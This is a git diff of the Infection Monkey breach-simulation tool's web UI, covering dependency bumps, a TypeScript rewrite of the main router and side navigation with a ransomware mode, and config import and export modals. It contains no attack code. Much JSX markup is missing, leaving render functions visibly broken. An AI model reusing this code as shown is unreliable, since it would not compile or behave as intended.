"sha512-HPT7cGGI0DuRcsO51qC1j9O16Dh1mZ2bnXwsi0jrSpsLz0WxOLSLXfkABVl6bZO629py3CU+OMJtpNHDLB97kg==", - "requires": { - "@babel/runtime": "^7.9.2" - } + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" }, "yargs": { "version": "13.3.2", @@ -18410,6 +23342,12 @@ "dev": true } } + }, + "zwitch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", + "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==", + "dev": true } } } diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 1cc781c03..72cafa72e 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -1,6 +1,6 @@ { "private": true, - "version": "1.10.0", + "version": "1.11.0", "name": "infection-monkey", "description": "Infection Monkey C&C UI", "scripts": { @@ -27,85 +27,93 @@ "not dead" ], "devDependencies": { - "@babel/cli": "^7.8.4", - "@babel/core": "^7.9.6", - "@babel/plugin-proposal-class-properties": "^7.8.3", - "@babel/plugin-transform-runtime": "^7.9.6", - "@babel/preset-env": "^7.9.6", - "@babel/preset-react": "^7.9.0", - "@babel/runtime": "^7.9.6", + "npm": "^6.14.8", + "@babel/cli": "^7.12.1", + "@babel/core": "^7.12.3", + "@babel/plugin-proposal-class-properties": "^7.12.1", + "@babel/plugin-transform-runtime": "^7.12.1", + "@babel/preset-env": "^7.12.1", + "@babel/preset-react": "^7.12.5", + "@babel/runtime": "^7.12.5", + "@types/jest": "^26.0.15", + "@types/node": "^14.14.11", + "@types/react": "^16.14.2", + "@types/react-dom": "^16.9.9", "babel-eslint": "^10.1.0", - "babel-loader": "^8.0.0", - "css-loader": "^3.5.0", + "babel-loader": "^8.2.1", + "copyfiles": "^2.4.0", + "css-loader": "^3.6.0", "eslint": "^6.8.0", "eslint-loader": "^4.0.1", - "eslint-plugin-react": "^7.19.0", + "eslint-plugin-react": "^7.21.5", "file-loader": "^1.1.11", "glob": "^7.1.6", "html-loader": "^0.5.5", "html-webpack-plugin": "^3.2.0", "minimist": "^1.2.5", + "node-sass": "^4.14.1", "null-loader": "^0.1.1", "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", - "style-loader": "^0.22.1", - "copyfiles": "^2.2.0", - "url-loader": "^1.1.2", "sass-loader": "^7.3.1", - "node-sass": "^4.14.1", - "webpack": "^4.43.0", - "webpack-cli": "^3.3.11", - "stylelint": "^13.3.3", + "snyk": "^1.434.4", + "style-loader": "^0.22.1", + "stylelint": "^13.7.2", + "ts-loader": "^8.0.11", + "typescript": "^4.1.2", + "url-loader": "^1.1.2", + "webpack": "^4.44.2", + "webpack-cli": "^3.3.12", "webpack-dev-server": "^3.11.0" }, "dependencies": { - "@emotion/core": "^10.0.34", - "@fortawesome/fontawesome-svg-core": "^1.2.29", - "@fortawesome/free-regular-svg-icons": "^5.13.1", - "@fortawesome/free-solid-svg-icons": "^5.13.1", - "@fortawesome/react-fontawesome": "^0.1.11", + "@emotion/core": "^10.1.1", + "@fortawesome/fontawesome-svg-core": "^1.2.32", + "@fortawesome/free-regular-svg-icons": "^5.15.1", + "@fortawesome/free-solid-svg-icons": "^5.15.1", + "@fortawesome/react-fontawesome": "^0.1.12", "@kunukn/react-collapse": "^1.2.7", - "bootstrap": "^4.5.2", + "@types/react-router-dom": "^5.1.8", + "bootstrap": "^4.5.3", "classnames": "^2.2.6", - "core-js": "^3.6.5", + "core-js": "^3.7.0", "d3": "^5.14.1", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "file-saver": "^2.0.2", - "filepond": "^4.19.2", + "filepond": "^4.23.1", "jwt-decode": "^2.2.0", "lodash": "^4.17.20", "marked": "^2.0.0", "normalize.css": "^8.0.0", - "npm": "^6.14.7", "pluralize": "^7.0.0", "prop-types": "^15.7.2", "rainge": "^1.0.1", "rc-progress": "^2.6.1", - "react": "^16.12.0", - "react-bootstrap": "^1.3.0", + "react": "^16.14.0", + "react-bootstrap": "^1.4.0", "react-copy-to-clipboard": "^5.0.2", "react-data-components": "^1.2.0", "react-desktop-notification": "^1.0.9", "react-dimensions": "^1.3.0", - "react-dom": "^16.12.0", + "react-dom": "^16.14.0", "react-event-timeline": "^1.6.3", "react-fa": "^5.0.0", - "react-filepond": "^7.0.1", + "react-filepond": "^7.1.0", "react-graph-vis": "^1.0.5", - "react-hot-loader": "^4.12.20", - "react-json-tree": "^0.12.0", + "react-hot-loader": "^4.13.0", + "react-json-tree": "^0.12.1", "react-jsonschema-form-bs4": "^1.7.1", - "react-particles-js": "^3.3.0", + "react-particles-js": "^3.4.1", "react-redux": "^5.1.2", - "react-router-dom": "^4.3.1", + "react-router-dom": "^5.2.0", "react-spinners": "^0.9.0", "react-table": "^6.10.3", "react-toggle": "^4.1.1", "react-tooltip-lite": "^1.12.0", "redux": "^4.0.4", "sha3": "^2.1.3", - "snyk": "^1.373.1" + "source-map-loader": "^1.1.2" }, "snyk": true } diff --git a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx new file mode 100644 index 000000000..1c9571011 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx @@ -0,0 +1,35 @@ +import AuthComponent from "./AuthComponent"; +import React from "react"; + +export class Response{ + body: any + status: number + + constructor(body: any, status: number) { + this.body = body + this.status = status + } +} + +class IslandHttpClient extends AuthComponent { + post(endpoint: string, contents: any): Promise{ + let status = null; + return this.authFetch(endpoint, + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(contents) + }) + .then(res => {status = res.status; return res.json()}) + .then(res => new Response(res, status)); + } + + get(endpoint: string): Promise{ + let status = null; + return this.authFetch(endpoint) + .then(res => {status = res.status; return res.json()}) + .then(res => new Response(res, status)); + } +} + +export default new IslandHttpClient(); diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js deleted file mode 100644 index 32480db8e..000000000 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ /dev/null @@ -1,208 +0,0 @@ -import React from 'react'; -import {BrowserRouter as Router, Redirect, Route, Switch} from 'react-router-dom'; -import {Container} from 'react-bootstrap'; - -import RunServerPage from 'components/pages/RunServerPage'; -import ConfigurePage from 'components/pages/ConfigurePage'; -import RunMonkeyPage from 'components/pages/RunMonkeyPage/RunMonkeyPage'; -import MapPage from 'components/pages/MapPage'; -import TelemetryPage from 'components/pages/TelemetryPage'; -import StartOverPage from 'components/pages/StartOverPage'; -import ReportPage from 'components/pages/ReportPage'; -import LicensePage from 'components/pages/LicensePage'; -import AuthComponent from 'components/AuthComponent'; -import LoginPageComponent from 'components/pages/LoginPage'; -import RegisterPageComponent from 'components/pages/RegisterPage'; -import Notifier from 'react-desktop-notification'; -import NotFoundPage from 'components/pages/NotFoundPage'; - - -import 'normalize.css/normalize.css'; -import 'react-data-components/css/table-twbs.css'; -import 'styles/App.css'; -import 'react-toggle/style.css'; -import 'react-table/react-table.css'; -import notificationIcon from '../images/notification-logo-512x512.png'; -import {StandardLayoutComponent} from './layouts/StandardLayoutComponent'; -import LoadingScreen from './ui-components/LoadingScreen'; - -const reportZeroTrustRoute = '/report/zeroTrust'; - -class AppComponent extends AuthComponent { - updateStatus = () => { - if (this.state.isLoggedIn === false) { - return - } - this.auth.loggedIn() - .then(res => { - if (this.state.isLoggedIn !== res) { - this.setState({ - isLoggedIn: res - }); - } - - if (!res) { - this.auth.needsRegistration() - .then(result => { - this.setState({ - needsRegistration: result - }); - }) - } - - if (res) { - this.authFetch('/api') - .then(res => res.json()) - .then(res => { - // This check is used to prevent unnecessary re-rendering - let isChanged = false; - for (let step in this.state.completedSteps) { - if (this.state.completedSteps[step] !== res['completed_steps'][step]) { - isChanged = true; - break; - } - } - if (isChanged) { - this.setState({completedSteps: res['completed_steps']}); - this.showInfectionDoneNotification(); - } - }); - } - }); - }; - - renderRoute = (route_path, page_component, is_exact_path = false) => { - let render_func = () => { - switch (this.state.isLoggedIn) { - case true: - return page_component; - case false: - switch (this.state.needsRegistration) { - case true: - return - case false: - return ; - default: - return ; - } - default: - return ; - } - }; - - if (is_exact_path) { - return ; - } else { - return ; - } - }; - - redirectTo = (userPath, targetPath) => { - let pathQuery = new RegExp(userPath + '[/]?$', 'g'); - if (window.location.pathname.match(pathQuery)) { - return - } - }; - - constructor(props) { - super(props); - this.state = { - completedSteps: { - run_server: true, - run_monkey: false, - infection_done: false, - report_done: false, - isLoggedIn: undefined, - needsRegistration: undefined - }, - noAuthLoginAttempted: undefined - }; - } - - componentDidMount() { - this.updateStatus(); - this.interval = setInterval(this.updateStatus, 10000); - } - - componentWillUnmount() { - clearInterval(this.interval); - } - - render() { - return ( - - - - ()}/> - ()}/> - {this.renderRoute('/', - , - true)} - {this.renderRoute('/configure', - )} - {this.renderRoute('/run-monkey', - )} - {this.renderRoute('/infection/map', - )} - {this.renderRoute('/infection/telemetry', - )} - {this.renderRoute('/start-over', - )} - {this.redirectTo('/report', '/report/security')} - {this.renderRoute('/report/security', - )} - {this.renderRoute('/report/attack', - )} - {this.renderRoute('/report/zeroTrust', - )} - {this.renderRoute('/license', - )} - - - - - ); - } - - showInfectionDoneNotification() { - if (this.shouldShowNotification()) { - const hostname = window.location.hostname; - const port = window.location.port; - const protocol = window.location.protocol; - const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`; - - Notifier.start( - 'Monkey Island', - 'Infection is done! Click here to go to the report page.', - url, - notificationIcon); - } - } - - shouldShowNotification() { - // No need to show the notification to redirect to the report if we're already in the report page - return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith('/report')); - } -} - -AppComponent.defaultProps = {}; - -export default AppComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx new file mode 100644 index 000000000..65ecfc6be --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -0,0 +1,298 @@ +import React from 'react'; +import {BrowserRouter as Router, Redirect, Route, Switch} from 'react-router-dom'; +import {Container} from 'react-bootstrap'; + +import ConfigurePage from './pages/ConfigurePage.js'; +import RunMonkeyPage from './pages/RunMonkeyPage/RunMonkeyPage'; +import MapPage from './pages/MapPage'; +import TelemetryPage from './pages/TelemetryPage'; +import StartOverPage from './pages/StartOverPage'; +import ReportPage from './pages/ReportPage'; +import LicensePage from './pages/LicensePage'; +import AuthComponent from './AuthComponent'; +import LoginPageComponent from './pages/LoginPage'; +import RegisterPageComponent from './pages/RegisterPage'; +import LandingPage from "./pages/LandingPage"; +import Notifier from 'react-desktop-notification'; +import NotFoundPage from './pages/NotFoundPage'; +import GettingStartedPage from './pages/GettingStartedPage'; + + +import 'normalize.css/normalize.css'; +import 'react-data-components/css/table-twbs.css'; +import 'styles/App.css'; +import 'react-toggle/style.css'; +import 'react-table/react-table.css'; +import LoadingScreen from './ui-components/LoadingScreen'; +import SidebarLayoutComponent from "./layouts/SidebarLayoutComponent"; +import {CompletedSteps} from "./side-menu/CompletedSteps"; +import Timeout = NodeJS.Timeout; +import IslandHttpClient from "./IslandHttpClient"; +import _ from "lodash"; +import {FontAwesomeIcon} from "@fortawesome/react-fontawesome"; +import {faFileCode, faLightbulb} from "@fortawesome/free-solid-svg-icons"; + + +let notificationIcon = require('../images/notification-logo-512x512.png'); + +export const Routes = { + LandingPage: '/landing-page', + GettingStartedPage: '/', + Report: '/report', + AttackReport: '/report/attack', + ZeroTrustReport: '/report/zeroTrust', + SecurityReport: '/report/security', + RansomwareReport: '/report/ransomware', + LoginPage: '/login', + RegisterPage: '/register', + ConfigurePage: '/configure', + RunMonkeyPage: '/run-monkey', + MapPage: '/infection/map', + TelemetryPage: '/infection/telemetry', + StartOverPage: '/start-over', + LicensePage: '/license' +} + +export function isReportRoute(route){ + return route.startsWith(Routes.Report); +} + +class AppComponent extends AuthComponent { + private interval: Timeout; + + constructor(props) { + super(props); + let completedSteps = new CompletedSteps(false); + this.state = { + loading: true, + completedSteps: completedSteps, + islandMode: undefined, + noAuthLoginAttempted: undefined + }; + this.interval = undefined; + this.setMode(); + } + + updateStatus = () => { + if (this.state.isLoggedIn === false) { + return + } + this.auth.loggedIn() + .then(res => { + if (this.state.isLoggedIn !== res) { + this.setState({ + isLoggedIn: res + }); + } + + if (!res) { + this.auth.needsRegistration() + .then(result => { + this.setState({ + needsRegistration: result + }); + }) + } + + if (res) { + this.setMode() + .then(() => { + if (this.state.islandMode === null) { + return + } + this.authFetch('/api') + .then(res => res.json()) + .then(res => { + let completedSteps = CompletedSteps.buildFromResponse(res.completed_steps); + // This check is used to prevent unnecessary re-rendering + if (_.isEqual(this.state.completedSteps, completedSteps)) { + return; + } + this.setState({completedSteps: completedSteps}); + this.showInfectionDoneNotification(); + }); + } + ) + + } + }); + }; + + setMode = () => { + return IslandHttpClient.get('/api/island-mode') + .then(res => { + this.setState({islandMode: res.body.mode}); + }); + } + + renderRoute = (route_path, page_component, is_exact_path = false) => { + let render_func = () => { + switch (this.state.isLoggedIn) { + case true: + if (this.needsRedirectionToLandingPage(route_path)) { + return + } else if (this.needsRedirectionToGettingStarted(route_path)) { + return + } + return page_component; + case false: + switch (this.state.needsRegistration) { + case true: + return + case false: + return ; + default: + return ; + } + default: + return ; + } + }; + + if (is_exact_path) { + return ; + } else { + return ; + } + }; + + needsRedirectionToLandingPage = (route_path) => { + return (this.state.islandMode === null && route_path !== Routes.LandingPage) + } + + needsRedirectionToGettingStarted = (route_path) => { + return route_path === Routes.LandingPage && + this.state.islandMode !== null && this.state.islandMode !== undefined + } + + redirectTo = (userPath, targetPath) => { + let pathQuery = new RegExp(userPath + '[/]?$', 'g'); + if (window.location.pathname.match(pathQuery)) { + return + } + }; + + componentDidMount() { + this.updateStatus(); + this.interval = setInterval(this.updateStatus, 10000); + } + + componentWillUnmount() { + clearInterval(this.interval); + } + + getDefaultReport() { + if(this.state.islandMode === 'ransomware'){ + return Routes.RansomwareReport; + } else { + return Routes.SecurityReport; + } + } + + getIslandModeTitle(){ + if(this.state.islandMode === 'ransomware'){ + return this.formIslandModeTitle("Ransomware", faFileCode); + } else { + return this.formIslandModeTitle("Custom", faLightbulb); + } + } + + formIslandModeTitle(title, icon){ + return (<> +
+ {title} +
+ ) + } + + render() { + + let defaultSideNavProps = {completedSteps: this.state.completedSteps, + onStatusChange: this.updateStatus, + islandMode: this.state.islandMode, + defaultReport: this.getDefaultReport(), + sideNavHeader: this.getIslandModeTitle()} + + return ( + + + + ()}/> + ()}/> + {this.renderRoute(Routes.LandingPage, + )} + {this.renderRoute(Routes.GettingStartedPage, + , + true)} + {this.renderRoute(Routes.ConfigurePage, + )} + {this.renderRoute(Routes.RunMonkeyPage, + )} + {this.renderRoute(Routes.MapPage, + )} + {this.renderRoute(Routes.TelemetryPage, + )} + {this.renderRoute(Routes.StartOverPage, + )} + {this.redirectToReport()} + {this.renderRoute(Routes.SecurityReport, + )} + {this.renderRoute(Routes.AttackReport, + )} + {this.renderRoute(Routes.ZeroTrustReport, + )} + {this.renderRoute(Routes.RansomwareReport, + )} + {this.renderRoute(Routes.LicensePage, + )} + + + + + ); + } + + redirectToReport() { + if (this.state.islandMode === 'ransomware') { + return this.redirectTo(Routes.Report, Routes.RansomwareReport) + } else { + return this.redirectTo(Routes.Report, Routes.SecurityReport) + } + } + + showInfectionDoneNotification() { + if (this.shouldShowNotification()) { + const hostname = window.location.hostname; + const port = window.location.port; + const protocol = window.location.protocol; + const url = `${protocol}//${hostname}:${port}${Routes.ZeroTrustReport}`; + + Notifier.start( + 'Monkey Island', + 'Infection is done! Click here to go to the report page.', + url, + notificationIcon); + } + } + + shouldShowNotification() { + // No need to show the notification to redirect to the report if we're already in the report page + return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith(Routes.Report)); + } +} + +export default AppComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.js b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.js deleted file mode 100644 index c260da2bf..000000000 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.js +++ /dev/null @@ -1,92 +0,0 @@ -import React from 'react'; -import {NavLink} from 'react-router-dom'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck'; -import {faUndo} from '@fortawesome/free-solid-svg-icons/faUndo'; -import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons'; -import guardicoreLogoImage from '../images/guardicore-logo.png'; -import logoImage from '../images/monkey-icon.svg'; -import infectionMonkeyImage from '../images/infection-monkey.svg'; -import VersionComponent from './side-menu/VersionComponent'; -import '../styles/components/SideNav.scss'; - - -class SideNavComponent extends React.Component { - - render() { - return ( - <> - -
- logo - Infection Monkey -
-
- -
    -
  • - - 1. - Run Monkey - {this.props.completedSteps.run_monkey ? - - : ''} - -
  • -
  • - - 2. - Infection Map - {this.props.completedSteps.infection_done ? - - : ''} - -
  • -
  • - { - return (location.pathname === '/report/attack' - || location.pathname === '/report/zeroTrust' - || location.pathname === '/report/security') - }}> - 3. - Security Reports - {this.props.completedSteps.report_done ? - - : ''} - -
  • -
  • - - - Start Over - -
  • -
- -
-
    -
  • Configuration
  • -
  • Logs
  • -
- -
-
- Powered by - - GuardiCore - -
-
- - Documentation - -
- License -
- - ) - } -} - -export default SideNavComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx new file mode 100644 index 000000000..6caa6617b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -0,0 +1,110 @@ +import React, {ReactFragment} from 'react'; +import {NavLink} from 'react-router-dom'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck'; +import {faUndo} from '@fortawesome/free-solid-svg-icons/faUndo'; +import '../styles/components/SideNav.scss'; +import {CompletedSteps} from "./side-menu/CompletedSteps"; +import {isReportRoute, Routes} from "./Main"; + + +const logoImage = require('../images/monkey-icon.svg'); +const infectionMonkeyImage = require('../images/infection-monkey.svg'); + +import Logo from "./logo/LogoComponent"; + +type Props = { + disabled?: boolean, + completedSteps: CompletedSteps, + defaultReport: string, + header?: ReactFragment +} + + +const SideNavComponent = ({disabled, + completedSteps, + defaultReport, + header=null}: Props) => { + + return ( + <> + +
+ logo + Infection Monkey +
+
+ +
    + {(header !== null) && + <> +
  • + {header} +
  • +
    + } + +
  • + + 1. + Run Monkey + {completedSteps.runMonkey ? + + : ''} + +
  • +
  • + + 2. + Infection Map + {completedSteps.infectionDone ? + + : ''} + +
  • +
  • + { + return (isReportRoute(location.pathname)) + }}> + 3. + Security Reports + {completedSteps.reportDone ? + + : ''} + +
  • +
  • + + + Start Over + +
  • +
+ +
+
    +
  • + Configuration +
  • +
  • + Logs +
  • +
+ + + ); + + function getNavLinkClass() { + if(disabled){ + return `nav-link disabled` + } else { + return '' + } + } +} + +export default SideNavComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 95820b82f..7d6b3b10b 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -14,7 +14,9 @@ export function renderMachineFromSystemData(data) { machineStr = data['hostname'] + ' ( '; } data['ips'].forEach(function (ipInfo) { - if (typeof ipInfo === 'object') { + if (ipInfo instanceof Array) { + machineStr += ipInfo.join(', ') + ', '; + } else if (typeof ipInfo === 'object') { machineStr += ipInfo['addr'] + ', '; } else { machineStr += ipInfo + ', '; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js new file mode 100644 index 000000000..7701959cf --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js @@ -0,0 +1,30 @@ +const CONFIGURATION_TABS = { + ATTACK: 'attack', + BASIC: 'basic', + BASIC_NETWORK: 'basic_network', + RANSOMWARE: 'ransomware', + MONKEY: 'monkey', + INTERNAL: 'internal' +}; + +const advancedModeConfigTabs = [ + CONFIGURATION_TABS.ATTACK, + CONFIGURATION_TABS.BASIC, + CONFIGURATION_TABS.BASIC_NETWORK, + CONFIGURATION_TABS.RANSOMWARE, + CONFIGURATION_TABS.MONKEY, + CONFIGURATION_TABS.INTERNAL +]; + +const ransomwareModeConfigTabs = [ + CONFIGURATION_TABS.BASIC, + CONFIGURATION_TABS.BASIC_NETWORK, + CONFIGURATION_TABS.RANSOMWARE +]; + +const CONFIGURATION_TABS_PER_MODE = { + 'advanced': advancedModeConfigTabs, + 'ransomware': ransomwareModeConfigTabs +}; + +export default CONFIGURATION_TABS_PER_MODE; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx new file mode 100644 index 000000000..d30438cbd --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -0,0 +1,129 @@ +import {Button, Modal, Form} from 'react-bootstrap'; +import React, {useState} from 'react'; + +import FileSaver from 'file-saver'; +import AuthComponent from '../AuthComponent'; +import '../../styles/components/configuration-components/ExportConfigModal.scss'; + + +type Props = { + show: boolean, + onHide: () => void +} + +const ConfigExportModal = (props: Props) => { + const configExportEndpoint = '/api/configuration/export'; + + const [pass, setPass] = useState(''); + const [radioValue, setRadioValue] = useState('password'); + const authComponent = new AuthComponent({}); + + function isExportBtnDisabled() { + return pass === '' && radioValue === 'password'; + } + + function onSubmit() { + authComponent.authFetch(configExportEndpoint, + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({ + should_encrypt: (radioValue === 'password'), + password: pass + }) + } + ) + .then(res => res.json()) + .then(res => { + let configToExport = res['config_export']; + if (res['encrypted']) { + configToExport = new Blob([configToExport]); + } else { + configToExport = new Blob( + [JSON.stringify(configToExport, null, 2)], + {type: 'text/plain;charset=utf-8'} + ); + } + FileSaver.saveAs(configToExport, 'monkey.conf'); + props.onHide(); + }) + } + + return ( + + + Configuration export + + +
+
+ } + name={'export-choice'} + value={'password'} + onChange={evt => { + setRadioValue(evt.target.value) + }} + checked={radioValue === 'password'} + /> + + + +
+
+ + + +
) +} + +const PasswordInput = (props: { + onChange: (passValue) => void +}) => { + return ( +
+

Encrypt with a password:

+ (props.onChange(evt.target.value))}/> +
+ ) +} + +const ExportPlaintextChoiceField = (props: { + radioValue: string, + onChange: (radioValue) => void +}) => { + return ( +
+ { + props.onChange(evt.target.value); + }} + /> +

+ Configuration may contain stolen credentials or sensitive data.
+ It is recommended that you use the Encrypt with a password option. +

+
+ ) +} + + +export default ConfigExportModal; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js deleted file mode 100644 index 8a0bc0c04..000000000 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js +++ /dev/null @@ -1,20 +0,0 @@ -import ObjectField from 'react-jsonschema-form-bs4/lib/components/fields/ArrayField'; -import * as React from 'react'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle'; - -class FieldWithInfo extends React.Component { - - render() { - return ( - <> -
- - {this.props.schema.info} -
- - ); - } -} - -export default FieldWithInfo; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js new file mode 100644 index 000000000..2d8df9020 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js @@ -0,0 +1,8 @@ +import React from 'react'; + +function HtmlFieldDescription(props) { + var content_obj = {__html: props.description}; + return

; +} + +export default HtmlFieldDescription; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx new file mode 100644 index 000000000..9456e7dd8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -0,0 +1,186 @@ +import {Button, Modal, Form, Alert} from 'react-bootstrap'; +import React, {useEffect, useState} from 'react'; +import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamationCircle'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; + +import AuthComponent from '../AuthComponent'; +import '../../styles/components/configuration-components/ImportConfigModal.scss'; +import UnsafeConfigOptionsConfirmationModal + from './UnsafeConfigOptionsConfirmationModal.js'; +import UploadStatusIcon, {UploadStatuses} from '../ui-components/UploadStatusIcon'; +import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; + + +type Props = { + show: boolean, + onClose: (importSuccessful: boolean) => void +} + + +const ConfigImportModal = (props: Props) => { + const configImportEndpoint = '/api/configuration/import'; + + const [uploadStatus, setUploadStatus] = useState(UploadStatuses.clean); + const [configContents, setConfigContents] = useState(null); + const [candidateConfig, setCandidateConfig] = useState(null); + const [password, setPassword] = useState(''); + const [showPassword, setShowPassword] = useState(false); + const [errorMessage, setErrorMessage] = useState(''); + const [unsafeOptionsVerified, setUnsafeOptionsVerified] = useState(false); + const [showUnsafeOptionsConfirmation, + setShowUnsafeOptionsConfirmation] = useState(false); + const [fileFieldKey, setFileFieldKey] = useState(Date.now()); + + const authComponent = new AuthComponent({}); + + useEffect(() => { + if (configContents !== null) { + sendConfigToServer(); + } + }, [configContents]) + + + function sendConfigToServer() { + authComponent.authFetch(configImportEndpoint, + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({ + config: configContents, + password: password, + unsafeOptionsVerified: unsafeOptionsVerified + }) + } + ).then(res => res.json()) + .then(res => { + if (res['import_status'] === 'invalid_credentials') { + setUploadStatus(UploadStatuses.success); + if (showPassword){ + setErrorMessage(res['message']); + } else { + setShowPassword(true); + setErrorMessage(''); + } + } else if (res['import_status'] === 'invalid_configuration') { + setUploadStatus(UploadStatuses.error); + setErrorMessage(res['message']); + } else if (res['import_status'] === 'unsafe_options_verification_required') { + setUploadStatus(UploadStatuses.success); + setErrorMessage(''); + if (isUnsafeOptionSelected(res['config_schema'], JSON.parse(res['config']))) { + setShowUnsafeOptionsConfirmation(true); + setCandidateConfig(res['config']); + } else { + setUnsafeOptionsVerified(true); + } + } else if (res['import_status'] === 'imported'){ + resetState(); + props.onClose(true); + } + }) + } + + function isImportDisabled(): boolean { + return uploadStatus !== UploadStatuses.success || (showPassword && password === '') + } + + function resetState() { + setUploadStatus(UploadStatuses.clean); + setPassword(''); + setConfigContents(null); + setErrorMessage(''); + setShowPassword(false); + setShowUnsafeOptionsConfirmation(false); + setUnsafeOptionsVerified(false); + setFileFieldKey(Date.now()); // Resets the file input + } + + function uploadFile(event) { + setShowPassword(false); + let reader = new FileReader(); + reader.onload = (event) => { + setConfigContents(event.target.result); + }; + reader.readAsText(event.target.files[0]); + } + + function showVerificationDialog() { + return ( + { + resetState(); + }} + onContinueClick={() => { + setUnsafeOptionsVerified(true); + setConfigContents(candidateConfig); + }} + /> + ); + } + + return ( + < + Modal + show={props.show} + onHide={() => { + resetState(); + props.onClose(false) + }} + size={'lg'} + className={'config-import-modal'}> + < Modal.Header + closeButton> + < Modal.Title> + Configuration + import + + + +

+ {showVerificationDialog()} +
+ + + + {showPassword && } + + {errorMessage && + + + {errorMessage} + + } + +
+ + + + + ) +} + +const PasswordInput = (props: { + onChange: (passValue) => void, +}) => { + return ( +
+

File is protected. Please enter the password:

+ (props.onChange(evt.target.value))}/> +
+ ) +} + + +export default ConfigImportModal; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js new file mode 100644 index 000000000..ba6957aef --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js @@ -0,0 +1,17 @@ +import * as React from 'react'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle'; + +class InfoBox extends React.Component { + + render() { + return ( +
+ + {this.props.schema.info} +
+ ); + } +} + +export default InfoBox; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js new file mode 100644 index 000000000..4d24ddb0a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js @@ -0,0 +1,12 @@ +import * as React from 'react'; + +class TextBox extends React.Component { + + render() { + return ( +

{this.props.schema.text}

